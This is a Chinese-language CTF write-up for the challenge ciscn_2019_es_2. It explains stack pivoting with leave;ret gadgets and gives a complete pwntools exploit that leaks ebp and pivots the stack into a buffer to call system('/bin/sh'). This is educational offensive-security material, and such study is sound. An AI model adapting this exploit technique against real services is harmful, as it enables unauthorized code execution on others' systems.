ciscn_2019_es_2 栈迁移

ciscn_2019_es_2 栈迁移

栈迁移相关知识

栈迁移是通过leave_ret这样的gadget去实现的

leave相当于mov esp,ebp; pop ebp;

ret相当于pop eip;

具体实现看图,假设有个栈溢出的漏洞,将栈填充成如下图,此时的bss段或data段还没用内容,等等我们调用read函数读入内容

img

当函数call调用一般都有leave和retn的操作

img

首先调用mov esp, ebp; pop ebp; 记得pop ebp之后esp要向下减一个单位

img

然后调用retn也就是pop eip,也就是调用read函数,往fake_ebp1中写入内容,主要是要往fake_ebp1中写入fake_ebp2,还有你需要调用的函数地址啥的

img

然后继续调用一遍leave,也就是mov esp, ebp; pop ebp;

img

然后执行retn,也就是pop eip,这样就会调用我们写好的函数了,下面我们通过一道例题来深化理解一下。

ciscn_2019_es_2

程序里有个vul()函数,第一个read读入0x30个字节数据,正好溢出0x8个字节,那么就只能覆盖原ebp和retn地址

img

还有个hack()函数,这里调用了system函数,但是不能直接获取flag,但是给我们提供了system函数的地址,之后我们就可以通过栈迁移的手段,调用system(‘/bin/sh’);

img

首先这里有两个read函数,没办法像上面提到的将栈迁移到我们的设想的地方,read函数的参数还是s,那么就迁移到s中,这里第一个read可以先泄露出ebp的地址,然后解出变量s的地址

1
2
3
4
5
6
payload = 'a' * 0x20 + 'bbbbbbbb'//填满s防止后面printf遇到/x00截断
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp_addr = u32(p.recv(4))
log.info(hex(ebp_addr))
pause()

img

原ebp地址距离s的偏移就为0x38,也就是s的地址泄露的ebp地址-0x38,知道了s的地址就可以开始栈迁移了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('ciscn_2019_es_2')
# p = remote('node4.buuoj.cn','27049')

system_addr = 0x08048400
leave_ret = 0x08048562

payload = 'a' * 0x20 + 'bbbbbbbb'
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp_addr = u32(p.recv(4))
log.info(hex(ebp_addr))
payload = 'aaaa' + p32(system_addr) + p32(0xdeadbeef) + p32(ebp_addr - 0x28) + '/bin/sh'
payload = payload.ljust(0x28,'\x00')
payload += p32(ebp_addr - 0x38) + p32(leave_ret)

p.send(payload)
p.interactive()